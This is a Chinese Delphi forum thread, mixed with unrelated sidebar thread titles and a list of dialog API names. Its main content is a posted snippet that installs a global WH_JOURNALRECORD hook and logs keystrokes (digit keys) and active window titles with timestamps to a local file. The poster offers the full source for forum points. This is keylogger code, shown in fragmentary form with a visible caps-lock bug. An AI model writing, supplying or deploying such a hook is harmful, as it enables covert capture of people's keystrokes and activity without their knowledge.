关注,我也想知道!
kingron能不能给段代码?
kingron能不能给段代码?
解决方案 »
- 求个界面实现思路!Happy New Year!
- c/s程序想将一个窗体form分成上左右三块内容,类似网页中的frameset,不知道delphi中怎么实现,用到哪些控件?
- 请问怎么办
- 制造业中的五金件或者车件的规格用什么样的命名法则?有时一个五金件有很多的尺寸,如果全写上去可能太长,如果只写一部分又有可能会重复.大
- 怎样实现动态组件管理
- 如何知道计算机上插有 U盘 或 移动硬盘等设备???怎莫监测?????
- 拜求解答!实在是没辙了...请大侠相救!!
- 我有一个图片,在delphi里异常显示
- 誰會使用GraphicEX 這免費圖形處套件??
- PacketRecords的问题
- ++++++如何修改DBNavigator的颜色?++++
- ++++偶快毕业了,现在在找毕业设计的题目,那位老兄帮帮出个题!难度适中就可以了!谢谢!!++++
DialogBox
DialogBoxIndirect
DialogBoxIndirectParam
DialogBoxParam
CreateDialog
CreateDialogIndirect
CreateDialogIndirectParam
CreateDialogParam
function JournalLogProc(iCode:integer;wParam:WPARAM;lParam:LPARAM):longint;stdcall;
var
i:integer;
hFocus:HWND; //保存当前活动窗口句柄
vKey:integer; //取得虚拟键值
szTitle: array [0..256] of char; //当前窗口名称
szTime: string;//array [0..128] of char; //当前的日期和时间
msg:PEventMsg;
logfile:textfile;
iShift,icapital,inumlock:integer;
bshift,bcapital,bnumlock:bool;
ch:char;
begin
result:=0;
if iCode<0 then
Result:=CallNextHookEx(g_hLogHook,iCode,wParam,lParam); if icode = HC_ACTION then begin
msg:=pEVENTMSG(lParam); if not FileExists('logfile.txt') then
begin
FileCreate('logfile.txt');
end;
assignfile(logfile,'logfile.txt');
append(logfile); if msg.message = WM_KEYDOWN then begin
vKey:=LOBYTE(MSG.paramL); //取得虚拟键值
hFocus:=GetActiveWindow(); //当前窗口的句柄
if g_hLastFocus<>hFocus then begin
GetWindowText(hFocus,szTitle,256);//取当前窗口的标题
g_hLastFocus:=hFocus;
szTime:=DateTimeToStr(Now());
writeln(logfile,sztime+' '+sztitle);//记录当前窗口的标题 iShift:=GetKeyState(VK_SHIFT);
iCapital:=GetKeyState(VK_NUMLOCK);
iNumLock:=GetKeyState(VK_NUMLOCK);
bShift:=(iShift and KeyPressMask) = KeyPressMask;
bCapital:=(iCapital and 1)=1;
bNumLock:=(iNumLock and 1)=1; if(vKey>=48) and (vKey<=57) then //数字键0-9
begin
//if not bShift then
case (vKey) of
49: ch:='1'; 50: ch:='2'; 51: ch:='3'; 52: ch:='4'; 53: ch:='5'; 54: ch:='6'; 55: ch:='7'; 56: ch:='8'; 57: ch:='9'; 48: ch:='0';
end;
writeln(logfile,ch);
//writeln(logfile,vkey)
end; end;
end;
//
Flush(logfile);
closefile(logfile);
end;
//dispose(Msg);
Result:=CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
//hook
end;//..............................................................................procedure TForm1.BitBtn1Click(Sender: TObject);
begin
//安装日志钩子
if g_hLogHook = 0 then
g_hLogHook:=SetWindowsHookEx(WH_JOURNALRECORD,JournalLogProc,HInstance,0);end;
这样可以记录下每一个窗体
各我分我给你原码